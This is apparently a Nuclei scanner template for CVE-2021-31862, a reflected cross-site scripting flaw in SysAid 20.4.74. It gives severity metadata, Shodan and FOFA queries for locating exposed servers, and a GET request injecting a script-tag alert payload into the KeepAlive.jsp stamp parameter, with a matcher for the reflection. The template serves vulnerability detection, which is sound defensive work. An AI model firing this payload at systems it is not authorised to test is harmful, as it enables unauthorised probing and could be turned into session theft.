45 lines
1.8 KiB
YAML
45 lines
1.8 KiB
YAML
id: CVE-2021-31862
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info:
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name: SysAid 20.4.74 - Cross-Site Scripting
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author: jas37
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severity: medium
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description: SysAid 20.4.74 contains a reflected cross-site scripting vulnerability via the KeepAlive.jsp stamp parameter.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
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remediation: |
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Upgrade to a patched version of SysAid or apply the vendor-provided security patch to mitigate the XSS vulnerability.
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reference:
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- https://github.com/RobertDra/CVE-2021-31862/blob/main/README.md
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- https://www.sysaid.com/product/on-premise/latest-release
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- https://nvd.nist.gov/vuln/detail/CVE-2021-31862
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- https://github.com/ARPSyndicate/cvemon
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- https://github.com/ARPSyndicate/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-31862
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cwe-id: CWE-79
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epss-score: 0.00141
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epss-percentile: 0.48947
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cpe: cpe:2.3:a:sysaid:sysaid:20.4.74:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: sysaid
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product: sysaid
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shodan-query: http.favicon.hash:1540720428
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fofa-query: icon_hash=1540720428
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tags: cve2021,cve,xss,sysaid
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http:
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- method: GET
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path:
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- '{{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E'
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matchers:
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- type: dsl
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dsl:
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- '(body == "false <script>alert(document.domain)</script>")'
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- 'status_code == 200'
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condition: and
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# digest: 4a0a00473045022038b8aeb034956bdc62b2cc0faf3b3b96c56487ef30a73cca3e5b4d7f7cc68e4e022100913143d230a19128c200ec72b3f3223614ba45b286c16c61e55e0afbf315b8d1:922c64590222798bb761d5b6d8e72950 |